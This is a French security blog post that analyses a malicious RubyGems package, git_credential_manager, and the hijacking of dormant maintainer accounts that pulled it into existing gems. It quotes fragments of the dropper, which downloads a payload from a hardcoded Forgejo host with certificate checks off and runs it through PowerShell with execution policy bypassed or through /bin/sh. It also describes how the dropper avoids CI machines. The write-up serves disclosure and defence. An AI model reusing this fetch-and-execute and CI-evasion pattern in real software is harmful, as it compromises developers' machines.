On voit rarement des attaques visant la chaîne d'approvisionnement de RubyGems. Mais avec les vacances d'été qui battent leur plein, on aurait peut-être dû s'y attendre. Ce fut tout de même une surprise lorsque j'ai ouvert la file d'attente de triage ce matin et que j'ai découvert un nouveau paquet suspect qui m'attendait.
Un tout nouveau petit bijou intitulé git_credential_manager a vu quatre versions publiées coup sur coup. À première vue, il semblait simplement télécharger des fichiers binaires depuis un serveur que je n'avais jamais vu auparavant. Ça ne pouvait sûrement pas être malveillant… n'est-ce pas ?
Fichiers binaires aléatoires
Ce paquet a tout de suite attiré l'attention, car il se contentait de télécharger des binaires à partir d'un dépôt Git hébergé sur https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org Il s'agit d'une instance publique de Forgejo où tout le monde peut créer des dépôts. Quelqu'un avait judicieusement enregistré le nom d'utilisateur git-écosystème, ce qui donne au projet un aspect suffisamment légitime pour éviter de susciter des soupçons immédiats.
Le référentiel ne contenait rien d'autre que des fichiers binaires, dont certains étaient compressés au format ZIP. Lorsque nous en avons soumis un à VirusTotal, les éditeurs d'antivirus n'ont pas tardé à le signaler comme malveillant.
Mais où va le monde si on ne peut même plus faire confiance à « l'écosystème Git » ? /s
Ce n'est pas vraiment subtil, quand on y regarde de plus près
En visionnant les quatre versions séparément, vous pouvez suivre en temps réel la construction du mécanisme de lancement, qui s'étale sur environ neuf heures, réparties en deux sessions.
Version 2.8.0 fonctionnait déjà parfaitement dès le premier jour : il suffisait de créer une URL pointant vers cet hôte Forgejo codé en dur, de la récupérer en désactivant explicitement la vérification du certificat, puis de transmettre directement la charge utile à un shell ou à PowerShell :
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Désactiver la vérification SSLsi goos == « windows »
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
sinon
Process.spawn("/bin/sh \"#{full_path}\"")
fin
Version 2.8.1, 24 minutes plus tard, n'a modifié qu'une seule chose : il a redirigé la sortie de l'exécution Unix vers /dev/null. Aucune nouvelle fonctionnalité, juste une version plus discrète. Quelqu'un surveillait les messages affichés sur la console de son propre logiciel malveillant et a estimé qu'ils étaient trop visibles.
Il y a ensuite un intervalle de huit heures, sans doute consacré au sommeil, avant la version 2.8.2 apparaît le lendemain matin avec l'escalade effective : l'installateur est directement intégré au chemin de chargement du gem, de sorte que le simple fait de require-ant git_credential_manager (sans installer de fichier binaire, sans exécuter quoi que ce soit explicitement, simplement en chargeant la bibliothèque) suffit à déclencher tout le processus. Et dans cette même version, la ligne qui lance le script téléchargé est mise en commentaire. Dix-sept minutes plus tard, la version 2.8.3 cela supprime le commentaire. Un seul caractère suffit pour que le dropper passe du mode « en préparation » au mode « en ligne ».
Il existe également une vérification « skip_install? » qui recherche une trentaine de variables d’environnement associées aux plateformes de CI telles que GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins et Vercel, et qui ne fait rien si elle en détecte une. Cette fonctionnalité a été conçue pour éviter délibérément les serveurs de build. Elle privilégie les ordinateurs portables des développeurs plutôt que les machines de CI jetables.
Autres paquets compromis
J'ai ensuite consulté le compte de l'éditeur et j'ai remarqué qu'il proposait plusieurs autres pépites. Certaines n'avaient pas été mises à jour depuis 2019, tandis que d'autres avaient soudainement fait l'objet de nouvelles publications hier et aujourd'hui.
Le plus notable était Dendreo, publié pour la première fois en 2017. À peu près à la même période que git_credential_manager, deux nouvelles versions ont fait leur apparition. Sans surprise, le pirate avait ajouté git_credential_manager comme dépendance, ce qui a permis à la charge malveillante de se propager auprès des utilisateurs existants.

Plus inquiétant encore, le pirate a également publié une nouvelle version de fastlane-plugin-run_tests_firebase_testlab, un projet qui n'a absolument rien à voir avec 574 661 téléchargements au total. Contrairement aux autres gemmes piratées, celle-ci appartenait à un responsable de maintenance totalement différent, ce qui laisse penser que le piratage ne s'est pas limité à un seul compte.

La véritable leçon à retenir ici
Nous avons déjà couvert de nombreux incidents sur npm et PyPI similaires à celui-ci. RubyGems a, pour l’essentiel, été épargné par cette tendance, et nous n’avons pas pu trouver de cas antérieur où deux comptes de mainteneurs sans lien entre eux, restés inactifs depuis longtemps, auraient été réactivés à quelques heures d’intervalle pour intégrer la même dépendance dans des gemmes auxquelles les utilisateurs faisaient déjà confiance. À notre connaissance, c'est la première fois que RubyGems est véritablement confronté à ce à quoi npm et PyPI font face depuis plus d'un an maintenant.
Un compte RubyGems inactif depuis six ou sept ans ne semble présenter aucun risque pour personne. C'est exactement le type de profil qu'il vaut la peine de détourner. C'est de là que vient le nom « SleeperGem » : il ne s'agit pas d'un compte infiltré par un attaquant dans le cadre d'une stratégie à long terme, mais d'un compte réel et ordinaire qui était simplement resté inactif, et qui semblait suffisamment inoffensif pour être détourné sans que personne ne s'en aperçoive.
Deux comptes ont déjà été supprimés, sur un registre qui avait jusqu'à présent largement échappé à ce genre de problème. Espérons que cela ne devienne pas une tendance.

